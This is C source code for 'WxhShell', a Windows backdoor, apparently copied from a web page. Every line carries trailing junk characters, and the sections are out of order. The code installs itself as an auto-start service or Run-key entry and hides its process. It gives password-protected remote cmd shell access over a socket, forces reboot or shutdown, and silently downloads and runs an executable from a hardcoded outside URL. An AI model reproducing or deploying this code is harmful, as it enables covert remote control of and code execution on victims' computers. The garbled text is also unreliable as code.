    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +cv7]  
    if(Boot(SHUTDOWN)) rks+\e}^Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .E:[ \H"  
    else { 6#VG,'e3  
    closesocket(wsh); Gb+cT  
    ExitThread(0); %:^,7 .H@  
    } [z#C&gDt  
    break; 2h0I1a,7  
    } H pXMPHd  
  // 获取shell B%!z7AT  
  case 's': { :Z(?Ct&8  
    CmdShell(wsh); Et~b^8$>  
    closesocket(wsh); mMmzi4HL  
    ExitThread(0); 0-cqux2U  
    break; I$0JAy  
  } R_ J=x  
  // 退出 Jhu<^pjs  
  case 'x': { ~d6 _  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )BNm~sP  
    CloseIt(wsh); d{+ H|$L`  
    break; |sz`w^#  
    } m&o}qzC'y  
  // 离开 8[5%l7's  
  case 'q': { ,}F2l|x_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8=ubMqr[  
    closesocket(wsh); )k0e}  
    WSACleanup(); 1;r^QAK&  
    exit(1); ;SkC[;`J  
    break; FV^CSaN[R  
        } K6=-Zf  
  } Yu=4j9e_mG  
  } on(P  
_i~n!v  
  // 提示信息 Mp; t?C4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j~c7nWfX  
} 0$l=ME(  
  } Malt 7M  
e3YZ-w^W~h  
  return; K !8+~[  
} yAtM|:qq  
)xCpQ=nS  
// shell模块句柄 f]"][!e!,  
int CmdShell(SOCKET sock) -yfyd$5j  
{ VpMpZ9oM<  
STARTUPINFO si; @va{&i`%A7  
ZeroMemory(&si,sizeof(si)); C-]H+p  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {y<[1Pms  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ba|x?kz  
PROCESS_INFORMATION ProcessInfo; N%6jZmKip  
char cmdline[]="cmd"; h *)spwF-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T3Kq1 Rh  
  return 0; DU$]e1  
} F0:Fv;  
]7zDdI|  
// 自身启动模式 * b>W  
int StartFromService(void) ]g3&gw  
{ Tz58@VYV  
typedef struct (rFY8oHD  
{ G,>tC`!  
  DWORD ExitStatus; NI=t)[\F  
  DWORD PebBaseAddress; sr x`" :  
  DWORD AffinityMask; oLk>|J  
  DWORD BasePriority; hU5[k/ q  
  ULONG UniqueProcessId; MdU_zY(c  
  ULONG InheritedFromUniqueProcessId; )z3mS2  
}   PROCESS_BASIC_INFORMATION; B$g!4C `g  
al=Dy60|z  
PROCNTQSIP NtQueryInformationProcess; t-dN:1  
00?^!';  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K>Fo+f  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jnt0,y A  
) !3XM  
  HANDLE             hProcess; x '3<F  
  PROCESS_BASIC_INFORMATION pbi; ^Ot+,l)  
s!Y>\3rMW  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {#uX   
  if(NULL == hInst ) return 0; r$;DA<<|<c  
Z4}Yw{=f  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $ePAsJ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1 dz&J\|E#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9NaC7D$,  
//Ioh (N  
  if (!NtQueryInformationProcess) return 0; a~OCo  
R[wy{4<y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :~:(49l  
  if(!hProcess) return 0; 2{"Wa|o`  
&AGV0{NMh]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; IyOujdKa  
^O#,%>1J  
  CloseHandle(hProcess); CeR4's7  
" FcA:7+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $b\Gl=YX^  
if(hProcess==NULL) return 0; h_?D%b~5  
+;`Cm.Iu  
HMODULE hMod; \PU|<Ru.  
char procName[255]; PLg`\|  
unsigned long cbNeeded; 4&K~EX"^T  
/4w&! $M-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); r&0v,WSp&S  
`"I^nD^t>Y  
  CloseHandle(hProcess); M<"&$qZ$R  
\M=" R-&b  
if(strstr(procName,"services")) return 1; // 以服务启动 e_g7E+6  
nXb;&n%  
  return 0; // 注册表启动 Wh(V?!^@5  
} .2!'6;K  
-nN}8&l  
// 主模块 m]=|%a6  
int StartWxhshell(LPSTR lpCmdLine) ?5'UrqYSW  
{ cQu1WgQ G  
  SOCKET wsl; #]:yCiA  
BOOL val=TRUE; CO0Nq/@  
  int port=0; <2diO=  
  struct sockaddr_in door; (O,|1  
d;:+Xd`  
  if(wscfg.ws_autoins) Install(); 0#G&8*FMN  
mxq'A  
port=atoi(lpCmdLine); $?(fiFC  
bf'@sh%W  
if(port<=0) port=wscfg.ws_port; H;G*tje/M  
Z99%uI3  
  WSADATA data; {#zJx(2yG  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Kv{i_%j   
M!,$i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   qdL;Ii<Y0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ue^upx  
  door.sin_family = AF_INET; ?%iAkV  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); c3`X19'%fM  
  door.sin_port = htons(port); (VWTYG7  
n$ axqvG  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @;G}bYq^(I  
closesocket(wsl); Pp@P]  
return 1; :p=IZY  
} Cc]t*;nU_  
ds4ERe /  
  if(listen(wsl,2) == INVALID_SOCKET) { 'X<R)E  
closesocket(wsl); {O]Cj~}  
return 1; Z[FSy-;"  
} m mu{K$9}I  
  Wxhshell(wsl); {&4+W=0 n  
  WSACleanup(); _Sosw|A  
8qrE<RHU@  
return 0; @2L+"=u#  
k,0JW=Vh>|  
} wg<DV!GZ  
MJt?^G (w?  
// 以NT服务方式启动 E/Q[J.$o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \.POb5]p0  
{ # yAt `  
DWORD   status = 0; 4Bd[r7  
  DWORD   specificError = 0xfffffff; :,fs' !  
f*0[[J0]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; bvUjH5.7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; H CZ#7Z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; X) owj7U;  
  serviceStatus.dwWin32ExitCode     = 0; !eMz;GZ  
  serviceStatus.dwServiceSpecificExitCode = 0; 2h@/Q)z  
  serviceStatus.dwCheckPoint       = 0; \@N8[  
  serviceStatus.dwWaitHint       = 0; ^GD"aerNr  
Ev,>_1#Xm  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :tl* >d~  
  if (hServiceStatusHandle==0) return; :3gtc/pt>  
&_x:+{06  
status = GetLastError(); /3Zo8.  
  if (status!=NO_ERROR) D8m1:kU  
{ }G]6Rip 3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -v/1R1$e1  
    serviceStatus.dwCheckPoint       = 0; eBFsKOtu  
    serviceStatus.dwWaitHint       = 0; wI'T J e,  
    serviceStatus.dwWin32ExitCode     = status; etMQy6E\  
    serviceStatus.dwServiceSpecificExitCode = specificError; NoB)tAvw  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); h#dp_#  
    return; Sp]"Xr)  
  } A_tdtN<  
fZw/kjx@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; b(Zh$86  
  serviceStatus.dwCheckPoint       = 0; bJ4})P&  
  serviceStatus.dwWaitHint       = 0; 9. 6"C<eYt  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >gRb.-{ux  
} 4@AY~"dq  
tg_xk+x  
// 处理NT服务事件,比如:启动、停止 ]0p] u d&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) w &1_k:Z&  
{ Y``50{7  
switch(fdwControl) J&CA#Bg:w  
{ Z@2^> eC  
case SERVICE_CONTROL_STOP: ^hr^f;N  
  serviceStatus.dwWin32ExitCode = 0; /'' |bIPa  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; RL4J{4K  
  serviceStatus.dwCheckPoint   = 0; >o9tlO)  
  serviceStatus.dwWaitHint     = 0; ^SM>bJ1Z_  
  { [1nfSW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \5M1;  
  } a> qB k})  
  return; ', ~  
case SERVICE_CONTROL_PAUSE: "A\h+q-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; GVR/p  
  break; )-VpDW!%_  
case SERVICE_CONTROL_CONTINUE: h*d1G9%Q1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; G%ytp=N  
  break; uE] HU  
case SERVICE_CONTROL_INTERROGATE: !xcLJ5^W  
  break; "`g5iUHqUl  
}; ^%ZbjJ7|j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v+d} _rCT  
} "QSmxr  
@=r YOQj |  
// 标准应用程序主函数 U/}YpLgdD  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $-Iui0h  
{ xnP@ h  
=d`w~iC  
// 获取操作系统版本 )hG4,0hv&  
OsIsNt=GetOsVer(); P^[eTR*?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); v}\4/u  
>|zMN$:  
  // 从命令行安装 #mKF)W  
  if(strpbrk(lpCmdLine,"iI")) Install(); #1fL2nlP*E  
p{|!LcSU$2  
  // 下载执行文件 UOIB}ut V  
if(wscfg.ws_downexe) { sg`   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ls<^z@I  
  WinExec(wscfg.ws_filenam,SW_HIDE); Th_PmkvC  
} qXqGhHoe;  
ibH!bS{  
if(!OsIsNt) { w.VjGPp  
// 如果时win9x,隐藏进程并且设置为注册表启动 PH.g+u=v  
HideProc(); H#Hhi<2  
StartWxhshell(lpCmdLine); V82HO{ D  
} dJv2tVm&'  
else @*Tql:Qcd^  
  if(StartFromService()) [s4|+  
  // 以服务方式启动 CS'LW;#[  
  StartServiceCtrlDispatcher(DispatchTable); )Cu2xRr^`  
else }#r awVe=  
  // 普通方式启动 <*Nd%Ca  
  StartWxhshell(lpCmdLine); }ChScY  
%u}#|+8}  
return 0; D*&#}c,*  
} }1 ,\ *)5  
n&l(aRoyx  
sZx`u+  
BItH0r7  
=========================================== GXaPfC0-y  
{o SdVRI  
NX4G;+6  
 VBUrtx:  
n:|a;/{I]9  
C(8VXtx_  
" 4#qZ`H,Ur)  
e%s1D  
#include <stdio.h> )SZzA'  
#include <string.h> 'ZJb`  
#include <windows.h> \o*w#e[M  
#include <winsock2.h> Fr~\ZL  
#include <winsvc.h> :.9Y  
#include <urlmon.h> L{&>,ww  
e |K_y~  
#pragma comment (lib, "Ws2_32.lib")  5@DCo  
#pragma comment (lib, "urlmon.lib") X J`*dgJ  
k%3)J"|/  
#define MAX_USER   100 // 最大客户端连接数 9a[1s|>w-  
#define BUF_SOCK   200 // sock buffer 15@2h  
#define KEY_BUFF   255 // 输入 buffer ;A4qE W  
#+QJ5VI :  
#define REBOOT     0   // 重启 o}DR p4;Ka  
#define SHUTDOWN   1   // 关机 Gphy8~eS  
3-btaG'P  
#define DEF_PORT   5000 // 监听端口 _aYhW{wW  
ht*N[Pi4;  
#define REG_LEN     16   // 注册表键长度 |sI@m@  
#define SVC_LEN     80   // NT服务名长度 {yv_Ni*6!  
8 :WN@  
// 从dll定义API )RN3Oz@H  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); XD?Lu _.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O:sqm n  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); O1UArD  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d5NE:%K  
fP:]s@$  
// wxhshell配置信息 S{?l/*Il*_  
struct WSCFG { qdLzB  
  int ws_port;         // 监听端口 xT+#K5  
  char ws_passstr[REG_LEN]; // 口令 >yr;Y4y7K  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9% C]s  
  char ws_regname[REG_LEN]; // 注册表键名 T;5VNRgpI  
  char ws_svcname[REG_LEN]; // 服务名 'Kk/ J+6U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 TFG? EO  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 CuK>1_Dq  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1$1>cuu  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :1Nc6G  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" c&1_lI,tH  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z Ohv>a  
Dt<MEpbur  
}; A +=#  
+_ /ys!  
// default Wxhshell configuration ZJW8S  
struct WSCFG wscfg={DEF_PORT, 2z*}fkJ  
    "xuhuanlingzhe",  pdm(7^  
    1, p6NPWaBR  
    "Wxhshell", U# [T!E  
    "Wxhshell", p:4-b"O  
            "WxhShell Service", *#E_KW1RV  
    "Wrsky Windows CmdShell Service", bl&9O  
    "Please Input Your Password: ", >]anTF`d  
  1, Zn JJ-zP  
  "http://www.wrsky.com/wxhshell.exe", 2+I5VPf  
  "Wxhshell.exe" 0C.5Qx   
    }; Y@:l!4DI  
cuH5f}oc  
// 消息定义模块 M"W#_wY;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ovOV&Zt  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4W|cIcU W  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8\9W:D@"x  
char *msg_ws_ext="\n\rExit."; wh8;:<|  
char *msg_ws_end="\n\rQuit."; ftcLP  
char *msg_ws_boot="\n\rReboot..."; (SQGl!Lai0  
char *msg_ws_poff="\n\rShutdown..."; AA)pV-  
char *msg_ws_down="\n\rSave to "; m' S{P:TK  
S"@6,  
char *msg_ws_err="\n\rErr!"; Ym"^Ds}  
char *msg_ws_ok="\n\rOK!"; v(R^LqE  
"=+i~N#Sc  
char ExeFile[MAX_PATH]; :R +BC2x  
int nUser = 0; Dq%} ({+  
HANDLE handles[MAX_USER]; ,aD~7QX1:  
int OsIsNt; wLiPkW  
o/ 51 RH  
SERVICE_STATUS       serviceStatus; Nt_sV7zzb  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {>vgtkJ  
6T+ym9  
// 函数声明 %).I &)i  
int Install(void); -xLK/QAL  
int Uninstall(void); o3\^9-jmp  
int DownloadFile(char *sURL, SOCKET wsh); KztQT9kY  
int Boot(int flag); 1u5^a^O(|  
void HideProc(void); .b`8 +  
int GetOsVer(void); R\X;`ptT  
int Wxhshell(SOCKET wsl); <+r~?X_  
void TalkWithClient(void *cs); B5+Q%)52  
int CmdShell(SOCKET sock); (e~9T MY  
int StartFromService(void); pg!oi?Jn  
int StartWxhshell(LPSTR lpCmdLine); J =8Y D"1  
:-U& _%#w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _1O .{O  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |:4W5>sfg  
"[k>pzl6  
// 数据结构和表定义 nv+miyvvm  
SERVICE_TABLE_ENTRY DispatchTable[] = ]8OmYU%6V  
{ b?cO+PY01  
{wscfg.ws_svcname, NTServiceMain}, \p}GW  
{NULL, NULL} %Jd!x{a`>A  
}; Y1>OhHuN  
a%a0/!U[  
// 自我安装 AqQ5L>:Gq  
int Install(void) ZybfqBTD&c  
{ 6{udNv X  
  char svExeFile[MAX_PATH]; w(Tr ,BFF  
  HKEY key; A /c  
  strcpy(svExeFile,ExeFile); )mI>2<Z!  
Isvb;VT9L  
// 如果是win9x系统,修改注册表设为自启动 yn@wce  
if(!OsIsNt) { (RrC<5"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =d<~:!)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ki2 `gLK  
  RegCloseKey(key); ?-o_]!*v0/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :5&UWL|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qf ]le]J  
  RegCloseKey(key); `'P&={p8  
  return 0; P.k>6T<U>  
    } UUbO\_&y  
  } [AIqKyIr  
} 9vW]HOK  
else { Y`$\o  
Unq~lt%2  
// 如果是NT以上系统,安装为系统服务 f-H"|9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %[~g84@  
if (schSCManager!=0) FL^t} vA  
{ 9C Ki$L  
  SC_HANDLE schService = CreateService 9M1DE  
  ( 7F]Hq  
  schSCManager,  @e\ @EW  
  wscfg.ws_svcname, lfd-!(tXD  
  wscfg.ws_svcdisp, c=?6`m,"M  
  SERVICE_ALL_ACCESS, cUd>ah v  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , l= Jw6F+5  
  SERVICE_AUTO_START, G;pmR^  
  SERVICE_ERROR_NORMAL, .!lLj1?p  
  svExeFile, UA]T7r@  
  NULL, o$U{.#  
  NULL, 0 "TPY(n  
  NULL, i PG:w+G  
  NULL, ]mNsG0r6  
  NULL `(P71T  
  ); 5.oY$tb(  
  if (schService!=0) 0Y0`$   
  { <s|.2~  
  CloseServiceHandle(schService); 8:*ZuR|~  
  CloseServiceHandle(schSCManager); kSCpr0c  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ly2!(,FB.  
  strcat(svExeFile,wscfg.ws_svcname); :P%?!'M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;.=0""-IF  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); n;vZY  
  RegCloseKey(key); cH|J  
  return 0; I 0x;rP  
    } Y,,Z47% E  
  } KyP@ hhj  
  CloseServiceHandle(schSCManager); +7 j/.R  
} *} Z  
} fk1d iB  
e}7!A  
return 1; ePaC8sd0  
} EKN<KnU%  
b KDD29  
// 自我卸载 ~q/~ u  
int Uninstall(void) 28+{  
{ C{G=Y[?oc  
  HKEY key; #SI]^T|  
k.)YFKi  
if(!OsIsNt) { \'('HFr,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a0B%x!y^  
  RegDeleteValue(key,wscfg.ws_regname); Hv:~)h$  
  RegCloseKey(key); Al *yx_j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u%1JdEWZd  
  RegDeleteValue(key,wscfg.ws_regname); |DVFi2   
  RegCloseKey(key); v/$<#2|  
  return 0; 86?~N  
  } i*&b@.7N  
} *J': U>p  
} cf"!U+x  
else { fT?m~W^  
ZdPqU \G^q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); pj3H4yCM:  
if (schSCManager!=0) )7P>Hj  
{ rG[2.\&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1sJz`+\  
  if (schService!=0) V!TGFo}  
  { Wap\J7NY  
  if(DeleteService(schService)!=0) { Z$('MQ|Ur  
  CloseServiceHandle(schService); !Zc#E,  
  CloseServiceHandle(schSCManager); ^)|tf\4  
  return 0; Dd, &a  
  } 5UK}AkEe&x  
  CloseServiceHandle(schService); GGZ9DC\{  
  } #BH]`A J  
  CloseServiceHandle(schSCManager); 30sA\TZ  
} {S@, ,  
} oGbh *  
'*&V7:  
return 1; W!=ur,F+  
} |GPY bxzc  
8QI+O`  
// 从指定url下载文件 F`Z?$ 1  
int DownloadFile(char *sURL, SOCKET wsh) @|OGxQoC  
{ +OSSgY$  
  HRESULT hr; }h3[QUVf%  
char seps[]= "/"; &&"+\^3  
char *token; GFnwj<V+{  
char *file; lD# yXLaC\  
char myURL[MAX_PATH]; u2I@ fH/  
char myFILE[MAX_PATH]; tv]9n8v  
c% ?@3d  
strcpy(myURL,sURL); 4>B=k  
  token=strtok(myURL,seps); ;xai JJK{  
  while(token!=NULL) .H&XP W  
  { u:wf :^  
    file=token; l Yj$ 3  
  token=strtok(NULL,seps); CSNz8 y  
  } c2Y\bKeN  
[8acan+ 2l  
GetCurrentDirectory(MAX_PATH,myFILE); $HRl:KDdP~  
strcat(myFILE, "\\"); ,WoV)L'?  
strcat(myFILE, file); i0?/\@gd  
  send(wsh,myFILE,strlen(myFILE),0); 1@~ 1vsJ  
send(wsh,"...",3,0); usi3z9P>n  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); j:^gmZ;J  
  if(hr==S_OK) ezm*9Jc~p  
return 0; 5+(Cp3  
else lXVh`+X/l  
return 1; >I+p;V$@  
yRp&pUtb  
} rfh`;G5s  
xxC2 h3  
// 系统电源模块 _X{ GZJm  
int Boot(int flag) g/w <T+v  
{ 4`+R |"4  
  HANDLE hToken; t7e7q"+/  
  TOKEN_PRIVILEGES tkp; %T}*DC$&S  
m1sV~"v;  
  if(OsIsNt) { 5n e&6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,"?8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ' Yy+^iCus  
    tkp.PrivilegeCount = 1; hSj@<#b>F  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }YU\}T-P  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )3 '8T>^<K  
if(flag==REBOOT) { 'W&ewZH_h  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) yy`XtJBWWs  
  return 0; >YcaFnY  
} py%:,hi  
else { ;):E 8;B)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 12tAx3p  
  return 0; Vf$$e)  
} q{xF7}i  
  } m mH xPd  
  else { |Rm_8n%m  
if(flag==REBOOT) { fBBtS S  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) NBw{  
  return 0; e0]%ko"  
} Uu9I;q!|  
else { 2~yj =D27Z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ir Y\Q)  
  return 0; $qR@;=  
} \9R=fA18  
} 0~Xt_rN](  
 y&wo"';  
return 1; MIqH%W.r u  
} -\25&m!+  
qu;$I'Ul%  
// win9x进程隐藏模块 oE,TA2  
void HideProc(void) 6$H`wDh#(&  
{ &_\;p-1:  
_]L]_Bh  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); G(bl)p^  
  if ( hKernel != NULL ) 5+q dn|9%T  
  { R%`fd *g  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  I*n]8c  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); tHr4/  
    FreeLibrary(hKernel); mRxeob  
  } 6!([Hu#= *  
02-% B~oP  
return; zd{sw}  
} j rX`_Y  
"@t bm[  
// 获取操作系统版本 b)r;a5"<5  
int GetOsVer(void)   Xi w  
{ lcVG<*gf-  
  OSVERSIONINFO winfo; Qm_;o(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); q(v|@l|)yO  
  GetVersionEx(&winfo); v<mSd2B*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) d?V/V'T[  
  return 1; wn\ R|'Rdz  
  else VLoRS)   
  return 0; ^ ~dC&!D  
} QvJ29  
-vc ,O77z"  
// 客户端句柄模块 Nv3u)?A3w  
int Wxhshell(SOCKET wsl) bgkBgugZhX  
{ :NB.ib@*  
  SOCKET wsh; BnaI30-  
  struct sockaddr_in client; ";DozPU  
  DWORD myID; q(Ow:3&  
t. DnF[  
  while(nUser<MAX_USER) vI:_bkii  
{ [ u ^/3N  
  int nSize=sizeof(client); !/X>k{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9Q\RCl_1  
  if(wsh==INVALID_SOCKET) return 1; d<E2=WVB6  
IYa(B+nB)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?yu@eo  
if(handles[nUser]==0) X1BqN+=@9  
  closesocket(wsh); mP?}h  
else C 'S_M@I=  
  nUser++; $x#qv1  
  }  `YO&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r> .l^U9hJ  
D[4%CQ1m  
  return 0; Dw y|mxlFn  
} ID,os_ T=  
XinKG< 3!  
// 关闭 socket uA cvUN-@  
void CloseIt(SOCKET wsh) V}Oz!  O  
{ 7uO tdH+  
closesocket(wsh); JOs kf(  
nUser--; ?v'CuWS  
ExitThread(0); jHObWUX  
} w{]B)>! 1W  
E,ooD3$h  
// 客户端请求句柄 GoPMWbI7  
void TalkWithClient(void *cs) +?{LLD*2e  
{ ZT`" {#L  
,mz7!c9H^a  
  SOCKET wsh=(SOCKET)cs; TJB4N$-}A  
  char pwd[SVC_LEN]; /nEK|.j  
  char cmd[KEY_BUFF]; K7/&~;ZwT  
char chr[1]; , 10+Sh  
int i,j; S&;)F|-q  
\Rha7O  
  while (nUser < MAX_USER) { >y!O_@>z  
x}x)h3e  
if(wscfg.ws_passstr) { u;b6uE  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #G\-ftA&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hqwsgJ  
  //ZeroMemory(pwd,KEY_BUFF); T8x/&g''  
      i=0; T~4HeEG>uH  
  while(i<SVC_LEN) { )0Vj\>  
Z+4Mo*#  
  // 设置超时 RusiCo!r  
  fd_set FdRead; -W: @3\{  
  struct timeval TimeOut; b>d]= u  
  FD_ZERO(&FdRead); @9k3}x K  
  FD_SET(wsh,&FdRead); ;#*.@Or@Ah  
  TimeOut.tv_sec=8; )5Cqyp~P  
  TimeOut.tv_usec=0; `];ne]xM  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZY;g)`E1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); rERtOgi  
YYvX@f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w2U]RI\?2  
  pwd=chr[0]; 2Ns<lh   
  if(chr[0]==0xd || chr[0]==0xa) { FtWO[*#  
  pwd=0; TBHd)BhI.  
  break; NVDIuh  
  } U)3?&9H  
  i++; J>nta?/,X  
    } [u-=<hnoa  
IEfm>N-]  
  // 如果是非法用户,关闭 socket z3w;W{2Q;V  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); lHu/pSu@k  
} [ .3Gb}B  
'n?"f|G  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .0|_J|{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {4%ddJn[.)  
g](&H$g  
while(1) { &3*r-9BZ  
/&!o]fU1C  
  ZeroMemory(cmd,KEY_BUFF); cL"Ral-qB  
ZV07;`I  
      // 自动支持客户端 telnet标准   >PGsY[N  
  j=0; EE qlsH  
  while(j<KEY_BUFF) { -3XnUGK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cr^R9dv  
  cmd[j]=chr[0]; \ow(4O#  
  if(chr[0]==0xa || chr[0]==0xd) { ^SwU]e  
  cmd[j]=0; Mv7tK l  
  break; mUiJ@  
  } 7[}WvfN8#  
  j++; D P:}<  
    } ;47=x1j i  
Qb:.WMj[q+  
  // 下载文件 8JO(P0aT  
  if(strstr(cmd,"http://")) { vE~<R  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); E7]a#  
  if(DownloadFile(cmd,wsh)) g#5t8w  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <H1e+l{8$  
  else RLDu5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]oC7{OoX  
  } ;i3C  
  else { j!a&l  
8sL+ik"  
